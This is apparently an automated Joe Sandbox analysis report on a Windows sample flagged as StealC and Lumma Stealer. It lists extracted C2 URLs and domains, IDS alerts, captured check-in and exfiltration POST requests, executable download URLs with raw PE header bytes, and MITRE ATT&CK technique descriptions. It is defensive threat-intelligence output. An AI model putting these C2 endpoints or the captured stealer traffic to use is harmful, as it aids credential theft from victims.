Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_450000_44WNAJWW05E0258PKFVID8DSXYO93MX.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 0278bd54a2fc939eb43036bfad47f2f9426b6415fecf479d0f883b253df7e69a
Instruction ID: d2a572c9724262c018532a766a85de2fce13f4a2769d16d0a05f939a1854c167
Opcode Fuzzy Hash: 0278bd54a2fc939eb43036bfad47f2f9426b6415fecf479d0f883b253df7e69a
Instruction Fuzzy Hash: 97C04CB84141099FD71A5F15C844ABE7765EB24712F104519AEC141651D23B1D34DE1A

Source: 0000000E.00000002.2628879138.0000000000D3E000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php"}
Source: BVGvbpplT8.exe.4060.1.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["discokeyus.lat", "grannyejh.lat", "necklacebudi.lat", "rapeflowwj.lat", "aspecteirs.lat", "crosshuaht.lat", "energyaffai.lat", "sustainskelet.lat", "sweepyribs.lat"], "Build id": "PsFKDg--pablo"}

Source: Network traffic	Suricata IDS: 2058354 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat) : 192.168.2.6:57576 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.6:57472 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058362 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (energyaffai .lat) : 192.168.2.6:50225 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058360 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat) : 192.168.2.6:53952 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058376 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sustainskelet .lat) : 192.168.2.6:60527 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058370 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacebudi .lat) : 192.168.2.6:54160 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058374 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rapeflowwj .lat) : 192.168.2.6:63226 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058358 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crosshuaht .lat) : 192.168.2.6:58783 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.6:61793 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49833 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49721 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49721 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.6:49719 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49730 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49730 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49737 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49788 -> 104.21.66.86:443

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: sweepyribs.lat

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 08:00:34 GMTContent-Type: application/octet-streamContent-Length: 2765312Last-Modified: Mon, 23 Dec 2024 07:19:04 GMTConnection: keep-aliveETag: "67690ee8-2a3200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2a 00 00 04 00 00 fa c9 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 05 00 00 00 60 00 00 00 06 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 62 72 64 6f 66 70 68 65 00 c0 29 00 00 a0 00 00 00 a2 29 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 7a 6f 61 6c 76 6f 76 00 20 00 00 00 60 2a 00 00 06 00 00 00 0a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 80 2a 00 00 22 00 00 00 10 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 23 Dec 2024 08:00:41 GMTContent-Type: application/octet-streamContent-Length: 2835456Last-Modified: Mon, 23 Dec 2024 07:21:00 GMTConnection: keep-aliveETag: "67690f5c-2b4400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 70 4e 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 a0 4e 00 00 04 00 00 84 4c 2b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 68 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 f0 01 00 00 00 a0 24 00 00 02 00 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 7a 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 79 6e 71 72 69 63 72 6f 00 a0 29 00 00 c0 24 00 00 a0 29 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 6a 6c 76 79 6c 64 6c 00 10 00 00 00 60 4e 00 00 06 00 00 00 1c 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 70 4e 00 00 22 00 00 00 22 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFHCBKKFIJJJECAAFCGIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 48 43 42 4b 4b 46 49 4a 4a 4a 45 43 41 41 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 38 44 41 45 37 33 45 46 34 35 39 32 33 39 38 39 38 39 30 30 39 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 43 42 4b 4b 46 49 4a 4a 4a 45 43 41 41 46 43 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 43 46 48 43 42 4b 4b 46 49 4a 4a 4a 45 43 41 41 46 43 47 49 2d 2d 0d 0a Data Ascii: ------CFHCBKKFIJJJECAAFCGIContent-Disposition: form-data; name="hwid"98DAE73EF4592398989009------CFHCBKKFIJJJECAAFCGIContent-Disposition: form-data; name="build"stok------CFHCBKKFIJJJECAAFCGI--

Source: BVGvbpplT8.exe	Virustotal: Detection: 54%			Perma Link
Source: BVGvbpplT8.exe	ReversingLabs: Detection: 63%

Source: C:\Users\user\AppData\Local\Temp\44WNAJWW05E0258PKFVID8DSXYO93MX.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\O215CKAM4VJZ3EV7.exe	Joe Sandbox ML: detected

Source: Joe Sandbox View	IP Address: 104.21.66.86 104.21.66.86
Source: Joe Sandbox View	IP Address: 104.102.49.254 104.102.49.254

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49721 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49719 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49730 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49737 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49748 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49762 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49769 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49788 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49776 -> 104.21.66.86:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:49794 -> 185.215.113.16:80

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=U070AFP0TCUK0IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12835Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=KW5VUXN1XBOKEOUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15081Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=DX30IFQIT2P391YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19945Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=IDFEWNNYDJAUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1193Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=UVKQ2556L6N22User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 572166Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 82Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	DNS traffic detected: DNS query: sweepyribs.lat
Source: global traffic	DNS traffic detected: DNS query: grannyejh.lat
Source: global traffic	DNS traffic detected: DNS query: discokeyus.lat
Source: global traffic	DNS traffic detected: DNS query: necklacebudi.lat
Source: global traffic	DNS traffic detected: DNS query: energyaffai.lat
Source: global traffic	DNS traffic detected: DNS query: aspecteirs.lat
Source: global traffic	DNS traffic detected: DNS query: sustainskelet.lat
Source: global traffic	DNS traffic detected: DNS query: crosshuaht.lat
Source: global traffic	DNS traffic detected: DNS query: rapeflowwj.lat
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: lev-tolstoi.com

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

